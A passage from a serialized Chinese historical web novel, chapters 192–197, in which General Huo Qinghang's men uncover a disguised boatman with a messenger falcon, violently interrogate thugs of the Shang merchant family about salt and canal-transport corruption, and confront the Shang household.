徐庚点头,“那小子早就惦记上了,听他言辞恳切,想来霍老将军的儿子,不是个背信弃义之人,应当可信。” “唉,月儿这孩子命苦,这些年一直在外面颠沛流离,如今终于回家,咱们定要好好照顾。”王氏红了眼眶,眼角渗着泪。 徐敬沉默了半晌,“怕是朝廷钦犯吧?” 这句话,很沉重。 但是,只有这样的可能。 三个人心里都有底儿,但是当着陈识月的面,没有说出来。 “那就瞒着吧!”徐敬继续说,“既然月儿不想说,那我们就当什么都不知道,外人跟前多维护,若是有衙门的公差……多遮掩遮掩,必要的时候多给点银子打发。瑶儿就剩下这么一根独苗,务必要好好保护好月儿。” 徐庚点头,“我也是这么想的。” “这些日子,我会让玉莹多照顾她,顺便带她置办一些行头,瞧着身上那一身罗裙,洗得都发白了,身上也没个钗环,可见这丫头过的什么日子?”王氏接过话茬。 三个人你看看我,我看看你,面上都是心疼。 好在,回家了。 厢房内。 林序瞧着坐在桌案前,对着烛台傻笑的自家少将军,不由得伸手在他眼前晃了晃,“少将军,你傻了?傻笑什么?就跟捡钱了似的。” “你懂个屁!”霍青行白了他一眼,“就你这样的,能娶个媳妇才怪。” 林序深吸一口气,托腮瞧着他,“少将军,你说徐家是虎狼窝,还是逍遥窝?” “你可以葬在这。”霍青行说。 林序:“……” 这动不动就喊打喊杀的,真不好! 霍青行深吸一口气,“明日你随我一起去码头,身子如何?” “恢复得七七八八了!”林序回答。 霍青行对这个答案还是比较满意的,“安信在外面待命,明日……要格外小心,我倒要看看商家、长乐门,他们联起手来到底想干什么?” “是!”林序颔首。 到底是徐家两位医术高明,陈识月没解完的药性,徐庚帮着解了,林序虽然还有些不舒服,但内力恢复了七七八八,不用再继续躺床榻,满地爬了。 翌日晨起。 霍青行起了个大早,那叫一个精神抖擞,反观徐家这几位,瞧着精神头都不太好,好像一晚上没睡似的。 徐玉莹顶着一对乌眼圈,出现在众人面前。 “你一晚上没睡?”徐玉安诧异。 徐玉莹哭丧着脸,“我这不是太高兴了吗?一高兴就睡不着,睡不着就起来看话本子,然后就、就有点难受了。” “唉!”徐玉安无奈的摇头。 一回头,徐庚和王氏也摇头。 不成器的东西! 吃过早饭,霍青行就带着林序,跟在徐庚身后出了门。 码头那边,生伯已经在等候。 “东家?”生伯面露难色,“您快来看看!这……” 第一百九十二章 完了,好像摊上大事了 不看不知道,一看吓一跳,瞧着药材里混合的杂草,还有…… 生伯喉间滚动,捡起了内里一点叶片,“这是曼陀罗。” “要命的玩意!”徐庚脸都青了,“药材铺怎么可能将药材混乱收购?即便是寻常商贩,既是做了这一行,自然也深谙其道,不应该啊!不应该啊!” 泡水,或者是发霉,倒是可以理解。 船上风浪大,许是真的意外沾染。 可这混了要命的东西,那就不太可能是意外了…… 一时间,所有人都沉默了。 生伯有点犹豫,“东家,退了吧!” 这东西要挑挑拣拣才能用,实在是麻烦又不安全,万一再出什么纰漏,整个徐氏医馆都会搭进去,甚至于徐家的百年声誉都将不保。 “这是要关我们的医馆啊!”徐庚低低的开口。 霍青行上前,翻看着麻袋里的药材,其后又将目光落在了船夫身上,“往来都是这么一条船吗?” “是!”生伯回答,“毕竟这是救命的东西,不能逢人就给,还是得交给一人这才好确认。往来都是这么一个船夫,按照咱们的要求,到指定的码头,然后会有那边采买的供货商,将药材放在指定的仓库,交接搬运。” 所以说,船夫都是同一个。 但,确定是同一个吗? 霍青行一个眼神过去,林序便动了手,而且速度极快。 一下子钻进船舱,立刻摁住了船夫,在他还没开口之前,一记手刀便劈晕了他。 动作之快,快如闪电。 生伯:“……” 徐庚:“……” 这……作甚? 随便打人,可以吗? “假的就是假的!”林序抖了抖手中的假皮面,“假的真不了,真的假不了,你们既然信任那个供货商,那问题应该就出在了这一路上。船夫这脸皮太厚,瞧着就不像是个好东西!” 生伯瞪大眼睛,“这……这假的?” “王水根是假的?”徐庚脸都白了。 开医馆的,到底是文弱之人,平日里也都是讲道理,懂礼数,彬彬有礼,从不敢往阴谋诡计里想,是以从来没想过会有这样的事情发生。 “不只是假的,还可能这段时间的事儿,都是他干的,有人雇佣了他,让他丧了良心。”林序皱眉,“我去四周看看。” 霍青行上了船,生伯搀着徐庚进入。 船上目前只有船夫一人,但摇橹可不只一个,所以应该还有其他人,就是不知道是登岸了,还是别的什么原因躲起来了? 不过,林序会找到人的。 霍青行让徐庚和生伯,翻找船舱里的东西,兀自开始检查船夫,搜了他一个全身,奈何身上什么都没有,且看船夫的掌心,老茧纵横。 原本摇船之人,手中有老茧也实属正常,可他的老茧却是右手为重,左手却没多少茧子,可想而知…… “习武之人。”霍青行了悟。 也亏得林序动作够快,要不然这船夫该还手了吧? 可惜,慢了一步。 在船舱里,还有杀人利器。 长刀。 一般来说,往来船夫会在船上放砍柴刀之类的,用于防身之用,但是长刀可不是谁都能用的,只有江湖人才会如此。 江湖人? 长乐门? 霍青行沉默。 那边,徐庚忽然喊了声,“霍、霍公子,你快过来看看,这是何物?” 霍青行回过神来,赶紧过去查看。 “鹰隼!” 霍青行眯起危险的眸子,忽然意识到这船夫可能不简单,旋即让徐庚和生伯进船舱,不要在船头船尾晃悠,这里面有大问题。 “鹰隼?老鹰啊?”生伯问。 他们这儿没见过这东西,猫头鹰倒是见过几次,老鹰…… “作甚?”生伯又问。 霍青行深吸一口气,“可能是用来传递消息的,且这个消息应是距离甚远,绝对不是寻常之用。” “之前没看到过。”徐庚道,“是这一次才有的吧?” 生伯想了想,“对,此前没见过,不知道这一次怎么会冒出这么个东西?关在笼子里,瞧着怪凶的,挺吓人。” 霍青行裹了裹后槽牙,“林序!” “来了!”林序从岸边跳回来,快速钻进了船舱,然后……傻眼了。 这玩意? 中原金都一带,其实很少用这些东西,多半是边关之用。 “边关苦寒,有时候信鸽不容易养活,鹰隼只要好生训练,它们会自行谋生,倒是更适合传信,却翱翔天际,飞得够高,若不是真的有点本事,即便是弓箭也未必能伤到它们,让它们传递消息是最好不过的选择。”霍青行解释。 徐庚和生伯面面相觑,各自倒吸一口冷气。 边关啊? 传递消息? 怎么有点要抄族谱的感觉? “舅父。”霍青行开口,“你带着生伯离开,这件事已经不是你们能处置得了的。闹不好,是有边关细作来了,莫要将徐家牵连其中。” 徐庚脸色更白了,他只是个大夫,哪儿遇见过这样的事情,登时脚下有点发软,连带着生伯都张着嘴,唇瓣止不住颤抖。 “徐老爷?”林序诧异,“您没事吧?这是有什么毛病?” 徐庚回过神来,忙不迭往外走,“生伯,我们走。” 快走! 这要是真的沾染上了边关细作这些事情,徐家真的要按族谱掉脑袋了。 船舱里,只剩下了霍青行和林序。 “把他交给安信。”霍青行看向林序,“老二不是易容不错?让他来。” 林序打了个手势,扛起船夫就跑。 不多时,老二就进来了,二话不说便覆上了假皮面,然后踏踏实实当他的船夫。 “少将军只管放心,咱什么都会,啥话都能说,当个船夫而已,保管谁也瞧不出来。”老二嘿嘿一笑,摸了摸手边的摇橹。 霍青行睨着他,“给我老实点,弄清楚这只鹰隼是要交给谁,要是真的有边关细作混进来,抓住了那些狗东西,你就是大功一件,听明白了吗?” “是!”老二那叫一个精神抖擞。 深吸一口气,霍青行扫一眼周遭,旋即退出了船舱。 即便是走出去甚远,徐庚和生伯的腿还在颤抖,只觉得脖子上的脑袋晃晃悠悠的,有种莫名的不踏实之感。 “老爷,咱会不会被牵连啊?”生伯颤抖着问。 徐庚也没底,在陈识月这边,他们只要把人藏好就成了,窝藏朝廷钦犯,只要不被抓住就行。 可是细作…… 但凡牵连,那就是通敌叛国,是要灭九族的! 我来个老天奶啊…… 第一百九十三章 她烧了铺子 霍青行带着林序回到了原来的小院,瞧着好像没什么变化。 安信毕恭毕敬的行礼,“少将军放心,咱一定能抓住,用得上这鹰隼之人。老二办事,肯定是妥帖的,老三就在岸边躲着,随机应变。” 这两人是江湖人,老油条一般,素日里滑得跟泥鳅似的,一准能办成。 “少将军!”林序绕了一圈,“好像有人翻找过了?” 安信诧异,“不对啊,老三之前一直盯着,他走的时候这院子里没人来过。” 那就是老三离开之后,有人偷偷溜进了院子,顺道翻找了一遍。 眼下,徐庚和生伯已经先一步回了徐氏医馆,这里剩下的都是行伍之人,做起事来倒也顺手,早就在军营里练就了默契。 “找一遍!”霍青行一声令下,所有人都开始行动。 保持原样,尽量不去动翻倒的物什,搜寻着入侵者带来的痕迹。 “脚印很杂。”林序道,“应该不止一人。” “地窖没被打开,应该没找过去。”安信说。 霍青行站在原地,眉眼间凝着沉重,“到底想干什么?” 话音刚落,院门忽然被人一脚踹开。 众人旋即转身,紧接着便是一群凶神恶煞之人,大摇大摆的走进来,就这么毫不避讳的跟霍青行他们对上了。 “得,一帮不知天高地厚的东西!”林序咂吧了一下,与安信对视一眼。 安信带着老四上前,拦住了这帮人,“尔等何人,为何要擅闯民宅?速速退出,免得我们报官!” “报官?”对方忽然笑了,笑声带着清晰的嘲讽,“你们可知道我们是谁?在我们的地盘上,还敢说报官?瞎了你们的狗眼!” 霍青行眸色陡沉,想明白了,便也不足为奇。 林序:哦,商家的狗! “出去!”安信可不跟他们废话。 别看一个两个在霍青行面前,都是小心翼翼的模样,可出去了,那都是个顶个的……能顶一片天,什么样的险境没遇见过,刀光剑影都习以为常,还会怕了这帮宵小之辈? “把那母女二人交出来!”为首的冷声开口。 林序缓步上前,“少在这里放狗屁,交什么人?什么母女?睁大你们的狗眼看清楚,咱可都是一帮老爷们,没什么女子!” “别以为我们不知道。”为首的不依不饶,“咱又不是傻子,那老女人居然敢放火去烧我商家的铺子,若不把她抓回去,商家的颜面何存?” 林序:哟,李婶子还真是英雄。 霍青行倒是听出点别的,这就意味着李婶没落在他们手里。 那么,人呢? 不回这个小院,是怕被人跟踪,泄露了行踪,所以没敢回来? 火烧铺子? 这里面肯定还有点别的问题,说不定是当时已经暴露了行踪,所以才会被商家的人赶上,想着女儿已经安全,一不做二不休,拼了这条命跟商家的人拼了。 伤敌一千,自损八百。 但…… 李婶子运气好,居然还是没被抓,那就说明躲起来了? “你们不是已经搜过了吗?”林序开口,“还有什么不满意的?人没找到,就继续撒野,怎么着……谁都得顺着你们这帮王八犊子?真以为强龙压不住地头蛇?什么时候蛇也敢跟龙比了?!也配?” 音落瞬间,这帮人好似都被激怒,“把人交出来,乖乖滚出永安县,否则的话,别怪我们哥几个动手,到时候伤了残了废了,可就是你们自找的!” “说得咱好像怕了你们似的!”安信扯了扯唇角,“哥几个什么没见过,就你们这些个嫩瓜,还真是没放眼里。” 为首的当即挥手,“上!” 说时迟那时快,林序退后一步,安信和老四登时迎上。 所有人的动作都是快准狠,对付这些打手就跟砍瓜切菜一般容易,不过几个回合,不是把人踹进了墙里,就是把人踹飞在树枝上挂着,要么捂着肚子躺在地上干嚎,一个两个就跟去了半条命似的。 最后那个为首的,功夫倒是不邋遢,但是自顾不暇,眼见着情况不对,撒腿就跑。 可刚跑出院子,安信已经稳稳的落在了他跟前,冲他咧嘴一笑,“来都来了,坐一会再走!” “啊呀!”一声梦想,伴随着骨头碎裂的声音。 人从半空落下,仿佛破抹布似的,被丢掷在地上。 从始至终,霍青行和林序都没有动手,只冷眼看着他们嚣张成这副衰样。 “都警告过你们多回了,结果一个两个就是不听劝,非要上赶着找死,真是拦都拦不住。”林序翻个白眼,“说吧,具体是怎么回事?” 躺在地上的人嗷嗷了两声,愣是给疼晕过去了。 “这么没用?”安信诧异,“就这两下就疼晕过去了?” 老四将其他人捡回来,一股脑的丢回一堆,“这还不简单,说明平日里没有好好习武,成日想着欺男霸女,结果真的碰到了硬茬,就把他们扎成了刺猬。” “外强中干的草包!”林序点评,“把他们都给我绑起来。” 来都来了,这不得好好伺候? 厨房有绳子,一个两个全都被绑得严严实实,哪怕是有伤在身也得忍着,疼死活该,疼不死算他们命大,谁让他们没干好事呢! “说吧!”既然为首的疼晕过去,那就找没晕的说一说,林序的小竹竿指向其中一人,“你来!” 都到了这个份上,谁还敢不要命? “那天夜里,我们在、在码头岸边发现了那刁妇的……哦不,那李家妇人的踪迹,就紧跟着她……想着把人抓回去,或者是找个没人的地方弄死得了!”男人畏畏缩缩的开口,“谁知道这刁妇居然知道我们在跟着她,带着我们绕了一圈就去了商家布庄那边,一把火烧了铺子。” 布庄里都是布料,还有燃料,这一个火折子丢了进去,很快就燃起了熊熊大火。 “本来是想等着没人的时候,抓到这老刁妇,谁知道……一把火招来了街坊,所有人都忙着灭火,倒是让人趁机跑了。”男人嗫嚅着,“事情大致就是如此了。” 霍青行负手而立,“没找到人,就开始到处搜?” “之前有人看到她在附近活动,还说这里时不时有人煎药……”男人喉间滚动,“所以我们就试一试,来找人了!” 第一百九十四章 她的这句话最动听 男人这话一落下,众人便面面相觑。事儿应该就是这么个事儿,到了这地步,的确没有撒谎的必要,但是这里面的原因还是没说清楚。 “你们为什么要对李家赶尽杀绝?”霍青行蹲下来,目光平直的望向他们,“别跟我说,他们触了商家的眉头,有些事情真不至于赶尽杀绝。” 男人沉默了,瞧着眼神躲闪,要么不知情,要么说出来的都是瞎编的。 “不想活了?”林序冷着脸。 安信陡然出手,冷不丁捏住了对方的胳膊,只听得“咔嚓”一声响,伴随着男人撕心裂肺的惨叫声响起,边上的人都跟着身形颤抖,想来是真的怕了。 可即便如此,也没掏出个只言片语。 看样子,是不敢瞎编,但也的确不知情。 身份不够格,知道的东西自然不多。 “看样子,都是小喽啰。”林序说。 霍青行看了一眼边上的那人,“那应该是小喽啰的头目。” 老四登时端来一盆冷水,兜头泼下,“喂,别装了,快醒醒,不然就剁碎了你喂狗!到时候,你可别喊疼啊!” 本来就摔得七荤八素,几乎散架,这会又被泼了冷水,疼痛袭来,希望破灭。 男人颤颤巍巍的睁开眼,不敢置信的看着眼前人。 “说清楚,为什么要对李家的人赶尽杀绝?换言之,说清楚商家到底想干什么?杀人灭口,针对徐家,桩桩件件,别跟我说这只是你们商家开的玩笑。”霍青行站起身,漠然望着地上的人。 男人似乎还不肯说。 林序的脚尖抵在了男人的肋骨处,断掉的肋骨直接戳在内脏,虽然还没有大出血而死,但内出血的滋味可不好受,连呼吸都疼。 “还不肯说?是想死在这里吗?”林序低喝。 男人张了张嘴,嘴角有鲜血溢出,“别、别……” 额头满是冷汗,他已经疼到了浑身颤抖。 “说清楚。”林序幽幽启唇。 下一刻,有一人被拉出来,安信手起刀落。 刹那间鲜血飞溅,人头落地。 鲜血从剑刃滑下,一点一滴的从剑尖落下,吧嗒吧嗒的滴落在地面上,那声音好似能敲击人心,让所有人都傻了眼。 “咱手上都是沾过人命,沾了血的,老子这辈子杀的人,比你们多得多,敢在咱跟前耍花样,真以为咱不敢杀人吗?”安信居高临下的望着众人,“说了,咱就放了你们,不说……咱可就要下刀子了!” 这可把众人给吓住了,谁不怕死? “是……是金都来人了。”男人终于开了口,“说是要严查漕运与……与盐矿之事。” 四下,陡然一片死寂。 若是旁的也就罢了,漕运和盐铁是朝廷的经济命脉所在,这要是牵扯上……别说是商家,整个永安县的衙门,凡是涉及此事之人,都得跟着喝一壶。 诛九族也不是不可以…… “你们所言是真?”霍青行面色凝重。 男人点点头,“是真的,是真的……正因为这样,所以、所以不能有任何的差池,哪怕只是一点小过错,都可能会牵连整个商家。” 正因为如此,不管老李头看到什么,或者是没看到,只要有可能,就必须死……为了以防万一,李家的所有人也都得死。 这一个两个的,都是漏网之鱼。 “公子。”林序有点担心,“这篓子好像越捅越大了……咱这、这还能收拾吗?” 盐铁漕运,这都沾上了! 我的老天爷啊! “我的娘诶!”安信揉着眉心,“咱在边关拼死拼活的,人家在这里东挖一个坑,西挖一个槽,恨不能把国运都掏空,真是狗娘养的狗东西。” 霍青行沉默了,漕运盐铁是朝廷所有,贩卖私盐都是重罪,商家这么紧张,肯定干了几票大的吧?又或者是一直做了很多年,直到最近可能出现了纰漏,怕是再也瞒不住了,这才急了。 急了,就开始到处杀人,为了收拾烂摊子…… “看好他们,来日钦差到了,就可以派上用场了。”霍青行沉着脸,“商家的好日子,也该到头了。林序,传信!” 林序行礼,转身出去。 “真是该死啊!”安信擦干净了剑上血,沉着脸扫过这些人,“咱拼死拼活的,为的是保家卫国,结果他们倒好……” 霍青行看向他,“行了,不全是这样的,见着一只蛀虫,便觉得大煜没救了?我们保家卫国,不是为了这些蛀虫,而是为了我们想保护的人,跟他们没关系。” “嗯。”安信点点头,“这次就便宜他们了,来日统统拉去杀头。” 这些人都眼神慌乱,“你们是谁?你们到底是谁?” “阎王爷的人。”安信扯了扯唇角,“记住了,下辈子见着我们要绕道走,否则就算你活该。” 众人你看看我,我看看你,大概都能猜到,眼前这几人……也许就是朝廷的人。 “行了!”霍青行转身往外走,“今夜怕是不安生了,放出风去。” 安信行礼,“是!” 放出风去,有人会闻讯而来。 霍青行就在这院子里待着,且看商家的人敢不敢动他?不过在这之前,他得出去溜达一圈,免得到时候牵连无辜。 身后有人跟着,霍青行大摇大摆的走着,然后进了徐家的门。 陈识月惊了一下,当即迎上,“你……” “我只在这里待一会,然后就要出去了。”霍青行说得云淡风轻,“今夜我就不回来了。” 陈识月喉间滚动,想起舅父回来说的那些话,不由得面色微变,“你……” “不入虎穴焉得虎子?”霍青行想抱抱她,奈何后面还跟着徐家兄妹,怕陈识月害羞,他只能握住她的手,“此去商家,可能遇见诸多问题,所以……不过你放心,只要我活着,他们就不敢动徐家。” 他们看到他进来,便知晓徐家与霍家有所关系。此前的药材问题,只是步步试探,如今已经开始动死手了,这证明商家迟早会祸害徐家。 与其坐以待毙,不如主动出手。 “小心!”陈识月想了想,将两个小竹棍递过去,“这个是防迷药迷香的,这个是解毒丸。” 有备无患,不得不防。 “好!”霍青行快速收起,“你自己也要小心,若是有什么事,林序或者是安信会来找你的,务必保持警惕,不要听他人报信!” 陈识月点点头,欲言又止。 “小月儿还有什么要交代的吗?”霍青行问。 陈识月张了张嘴,“要平安回来!” “好!” 于行伍之人而言,这句话是最动听的。 第一百九十五章 大摇大摆,去商家溜达一圈 霍青行走到时候,被徐玉安拦住。 “有话说?”霍青行问。 徐玉安犹豫了片刻,“你是不是要干大事了?” “何以见得?”霍青行被他逗笑了。 徐玉安看了陈识月的方向一眼,“表妹的脸色不太好。” “这段时间小心点,虽然他们未敢轻易动你们,但防人之心不可无。”霍青行低声叮嘱,“不要相信任何人,不要吃莫名其妙的东西,祸从口出,病从口入。大夫始终是大夫,大夫不是神!” 做不到活死人,肉白骨。 “明白!”徐玉安颔首,“表妹夫,你只管放心,我一定会好好照顾家里人,那你……” 霍青行示意他不必担忧,“我自然有我的去处,不管看到什么,不管听到什么,相信自己才是正解。明白吗?” “嗯!”徐玉安似懂非懂,“我不会听人挑唆的。” 看到的未必是真,听到的也未必是真,坚持自己所想。 “保护好他们。”霍青行转身离开。 徐玉安站在原地,瞧着霍青行离去的背影,幽幽吐出一口气,总觉得这天要变了,永安县真的快要不太平了。 “哥?你傻愣着干什么?姐夫都走了!”徐玉莹皱起眉头,“你们说什么了?” 徐玉安回过神来,无奈的叹口气,“让我保护好你们,不要轻易相信外人,小心有人从食物里下手,对咱不利!” “哎呀!”徐玉莹捂着嘴,“听起来好凶险啊!表姐夫不会有事吧?” 徐玉安想了想,“至少比咱两个废物强得多!” 徐玉莹:“……” 多谢夸奖! 霍青行走了,陈识月的心跟着悬起,想了想,便转身去找了舅母王氏,现在舅父和祖父都在关门商议,那女眷也该有所作为才行。 “表姐,你去哪?”徐玉莹赶紧跟上。 徐玉安小心谨慎的环顾四周,贼头贼脑的跟上。回头得拎把刀在身上,免得真被表妹夫说中了。 眼见着霍青行出来,林序和安信旋即迎上。 “公子?”二人环顾四周,小心戒备。 霍青行抬步就走。 回到小院,很明显周围已经有了异动。 霍青行也不恼,天色太亮,那些人怕是不会来。 要等到天黑。 天黑好办事。 天黑了,杀人放火都能干得顺溜。 是以,霍青行就在院子里待着,吃饱喝足之后,一行人便以霍青行为主,坐在院中静候商家的人自动送上门。 “天黑了!”林序嗑着瓜子。 安信和老四也在边上喝着茶,嗑着瓜子,时不时的竖耳听着周遭的动静,以免错过了什么。 霍青行刚喝上一口水,骤然听得有动静从门外传来。 紧接着…… “砰”的一声响,院门再度被人踹开。 林序气得咬牙切齿,“这帮狗东西,又把我门踹坏了!该死的,不给我重新修好,我就弄死他们。” 白日里被踹坏了,好不容易修好,如今又坏了…… 这院子可是租的,花了钱的! “围起来!”为首的人一进来,快速将院子里的四个人团团围住。 霍青行挑了一下眉眼,一眼望去,十七八个,这次倒是人不少。 “一个够本,两个赚了。”安信说。 瞧着眼前的霍青行,这帮人格外嚣张,“就是你们几个?那女人是不是藏在这里?把人交出来,留你们全尸。” 林序上前一步,嗑着瓜子,啐了一口瓜子皮,“哟,就你们几个?李家婶子还没找到呢?交什么人?不过留全尸的话……咱倒是能成全你们!” “哥几个干这活,那是信手拈来,保管不会缺胳膊断腿。”安信在边上接过话茬。 瞧着他们只有四个人,对方可不惯着,全然不惧,“别看现在好嚣张,待会就让你们哭!” 说时迟按时快,对方快速出手。 林序手里的瓜子狠狠甩出去,一个飞踢便将人踹飞,速度之快,让边上的众人旋即震愕当场,紧接着便是霍青行一掌打开了房门。 内里,几个被捆绑得结结实实的商家打手,横七竖八的躺在那里,嘴里发出了痛苦的呜咽。 见此情形,还有什么不明白的? 眼前这些人不是好惹的,一个两个的战斗力绝非寻常,以至于众人旋即退后几步,一时间都不敢轻易靠近。 “你们都是什么人?”为首的冷声厉喝。 霍青行挑眉,“不是都跟着我一路了吗?” 对方你看看我,我看看你,都不敢吭声。 “你们跟徐家是什么关系?”想了半天,为首的才问了这么一句。 霍青行不屑回答。 “你们到底是何人?”对方意识到,这帮人不简单。 霍青行深吸一口气,“带我去见你们东家吧!” “什么?” “什么?” 众人都傻眼了,这样去见动静? 这人是真的不怕死啊? “还不前面带路?”霍青行负手而立,冷眼扫过这些人,“或者是,把你们都打趴下,然后你们爬着给我带路?” 众人:“……” “哼!”为首的冷笑两声,“你以为我们东家,是你们想见就能见的?” 霍青行也不恼,“林序!” “收到!” 话音刚落,林序身形一晃,顷刻间已挪至跟前,谁也没看到他怎么动的手,对方的刀子已经落在了林序的手中。 只听得冷剑出鞘之音,明晃晃的刃口已经欺在了那人的颈项处,只需要再往前送一送,就能直取性命,不费吹灰之力。 “还想再试试吗?”霍青行问,“现在的你们,可以全部埋在后院当花肥。” 到了这会,他们还有什么不明白的? 这帮人就是杀神,不好惹的杀神! “你们到底是何人?” “麟州,霍氏。” 四个字,掷地有声。 寂静一片。 商府。 瞧着回来的这帮人,商管家皱起眉头,“怎么回事,一个两个哭丧着脸?怎么着,吃瘪了?让人跑了?还是说没找到人?” 见着一行人谁也不吭声,管家眉心陡蹙,狠狠将杯盏掼碎在地上,“混账东西,问你们话呢,怎么一个两个都不回答,哑巴了?” 不是哑巴了,而是…… 前面的人徐徐让开了一条道,终于露出了跟在后面的四个人。 以霍青行为首,林序为辅,安信和老四则紧随其后。 “商家的管家,竟也好大的架子。”霍青行缓步走上前,“不知道的,还以为位极人臣,手握生杀大权呢!” 管家骇然,满脸惊惧,“你、你……” 怎么还跟进来了? 这帮废物! 第一百九十六章 茫茫人海,挑了个最能打的 “商家还真是富丽堂皇,若不是这帮人带着,咱还真是得走蒙圈了,这么大的院子就跟行宫似的,前院后院的,到处都是亭台楼阁,啧啧啧……可见这些年商家累积的财富,真是让人叹为观止。”林序啧啧啧的直摇头,“就是不知道这银子是打哪儿来的?” 商管家回过神来,登时厉喝,“你们这帮废物,怎么敢把外人带进来?还愣着作甚,还不赶紧把人抓起来!快!来人!来……” 声音,戛然而止。 安信的刀子已经架在了管家的脖颈上,“喊啊!再喊,喊大声点!实在不行,咱替你喊!老东西,你可真聒噪!” 管家那眼神,恨不能刀了这里的所有人。 听得里面的动静,外头的护院和家丁纷纷涌入。 然而,见着此情此景,愣是无一人敢动,生怕一不留神,那刀子就割断了管家的脖子。 霍青行慢条斯理的坐下,瞧了一眼冲进来的众人,“去把商家能主事的人请过来,要不然的话,我不介意在这里见血。” 话都这么说了,还有谁敢耽搁? 外面里三层,外三层的,围拢了一大群的护院和家奴,可见今日是进去容易出去难。 不多时,外面传来了嘈杂的声音,脚步声亦是接踵而至。 人群让开了一条道,一个中年男人在众人的簇拥中,缓步走进了霍青行的视线,“倒是没想到,还有人这么大的胆子,敢堂而皇之的闯入我商家的宅院,挟刀相迫。” 语罢,他将目光落在了霍青行的身上。 “有胆魄!” 三个字,是肯定。 来人是商家的东家,商震商老爷子的儿子——商城。 商城趾高气扬的看一眼这四人,止不住唇角轻勾,“我瞧着四位一身杀伐果断之气,绝非泛泛之辈,想来都是江湖人吧?” 江湖人? 他们哪儿像江湖人? “艺高人胆大,倒也不是什么坏毛病!”商城在边上坐下,仿佛觉得自己猜的一定对,“只不过这是永安县,你们脚下是商家的宅院,容不得你们造次。” 霍青行平静的打量着他,“你们的人……三番四处的闯我的院子,一次又一次的纠缠不休,事到如今还敢如此放肆,到底是谁造次,还不清楚吗?” “是吗?那也没办法,贼人就该被抓,若是在外面游荡,伤着磕着无辜的人,那可就不太好了。”商城心里掐着算盘,“得罪之处,还望海涵,咱……也是为了、为民除害嘛!” 林序裹了裹后槽牙,这帮虚伪的东西,说得还真是比唱得还好听! “所以我们就是商老爷口中的……祸害?”霍青行似笑非笑的看向他。 有那么一瞬,不知道是霍青行身上的气势太盛,还是被他的眼神给震慑,霍青行的目光落过去的时候,商城还真是有片刻的心惊,莫名的想往后退。 沙场上回来的主,一个个都是杀过人的,还不止杀一人,谁手里没个百八千的人命呢? “你们……到底是何人?”商城隐约意识到,这人不对。 之前那些打手慌忙上前,伏在了商城的耳畔低语两句。 “什么?”商城面色陡沉,转而惊恐的看向霍青行,显然不太相信,但上下打量着霍青行,只瞧着气势凌然,气度不凡,恐怕这一次……真的踢到了铁板。 林序咂吧一声,“哟,听清楚了?那接下来是不是该想明白,要如何应对了?” “麟州,霍氏?”商城说这话的时候,声音都在颤抖。 若是旁人也就罢了,这如雷贯耳之名,谁能不知? 霍青行站在那里,眼底带着几分讥诮。 看样子,是真怕了。 “麟州,霍氏。”霍青行坐在那里,淡然开口,“有意见?” 哪儿敢有意见,这可是霍家。 只是…… 霍家的人为何会出现在这里? 永安县名不经传,就算有个徐氏医馆,那也只是岐黄之术门道里的一员,众人可能会来求医,但是徐家老太爷这两年身子每况愈下,哪儿还有精力去救治他人? 徐庚嘛……还是有两把刷子的,但比起他爹着实有点距离。 “贵客!贵客!”商城忙不迭摆摆手,示意周围围着的人快速退下。 周围忽然空了,紧接着便是好茶奉上,各种精致的点心,一一铺开在茶几上,家奴们进进出出的,瞧着分外忙碌。 忙碌着,招待霍青行他们。 对此,霍青行和林序对视一眼,谁都没有吭声。 既然他们喜欢热闹,那就让他们热闹去吧,跟自己有什么关系?反正就是吸引注意力,拖延时间而已,怎么高兴怎么来。 商城的几个儿女这会都来了,夫人高秀娥拽着女儿商玥,娉婷窈窕的出现霍青行跟前。 林序心头咯噔:娘欸,美人计? “久闻霍老将军大名,如今霍公子不远千里而来,令商家蓬荜生辉。”商城毕恭毕敬,逢迎讨好,“此前底下人鲁莽冲撞,实非本意,还望霍公子和诸位大人,多多包涵。” 霍青行不吱声,林序上前一步,“商老爷,你要清楚,这一次不是咱找事,而是你的人一次又一次的找上门,我那破落的院门都让你的人给踹烂了,修了一次又一次,是可忍孰不可忍。懂?” 商城脸上掠过清晰的难堪,毕竟这事吧……的确是手底下的人太莽撞,若是常人也就罢了,偏招惹了最不好惹的将帅之家。 “霍公子放心,那院子……咱一定好好修葺,院门……院门咱一定装个新的。若是霍公子不弃,城东那边商家有个大宅,可赠与公子。”商城可不想在这个节骨眼上,惹出什么祸害来。 林序眉心陡蹙,“放肆,你这说的什么话?是觉得咱就是见钱眼开的人,拿银子堵咱的嘴?你当霍家的人与那些宵小一般,都是趋炎附势,见利忘义的东西?” “不敢不敢!”商城赶紧摆手,“草民岂敢,只是心存愧疚,想尽力弥补而已。” 林序双手抱胸,“我家公子可不吃你这一套,少来那些花里胡哨的事儿,咱本就是为了求医而来,暂住永安县,只要你们不上前招惹,咱根本就没打算与你们打交道。” 商城额头的冷汗涔涔而下,心里把底下的蠢货骂了千万遍。 茫茫人海千千万,偏偏挑了个最能打的…… 第一百九十七章 她也动了心 现在的商家,等于是骑虎难下,家里来了一个瘟神,哦不,是四个瘟神,这会真是瘟到家了! 之前像是打了鸡血,现在像是得了鸡瘟! “时辰不早了,我让人收拾厢房,独门独院的小院子,四位就先吃好喝好,好好休息?有什么事咱明日再说?”商城一想,这样僵持着也不是个事。 何况,不能对方说是麟州霍氏,就相信他们便是霍氏一族。 有些事,还是得要证实的! 霍青行也没拒绝,他清楚这帮人其实还想摸摸他们的底,不能人云亦云,想来商家还需要调查。 商家不愧是商贾富户,独门独院的小院子,刚好让四个人住进去,内里的锦被都是新的,刚刚布置妥当,真真是待客周全。 “四位先休息,有什么事咱明天再说。明日,我定为四位接风洗尘,麟州霍氏,霍家军为了我朝安定,征战边关,实乃人人敬佩的仁义之师,咱这厢亦是久仰大名。”商城说这话的时候,睨了一眼高秀娥。 身后的高秀娥紧了紧女儿的手,商玥便冲着霍青行行礼,“我们几个也是久仰霍家军大名,今日见着,三生有幸。” 小女儿家娇俏可人,说起话来面颊绯红,举手投足间尽显羞赧,甚至于都不敢抬头去看霍青行,只是用眼角余光,动不动的瞥向他。 霍青行不以为意,林序却警铃大作。 这可不是好事! 防火防盗……防偷人! “行了,我们要休息了!”霍青行头也不回的进门。 商城的眉心皱了皱,但想起来日方长,现在还没确定他们的真实身份,便也没有纠缠,带着夫人和儿女退了出来。 及至走出去老远,几人还时不时的回头去看,确定这四人没有出来,这才顿住了脚步。 “爹?”商野开口,“这四个人,真的是麟州霍氏的人吗?” 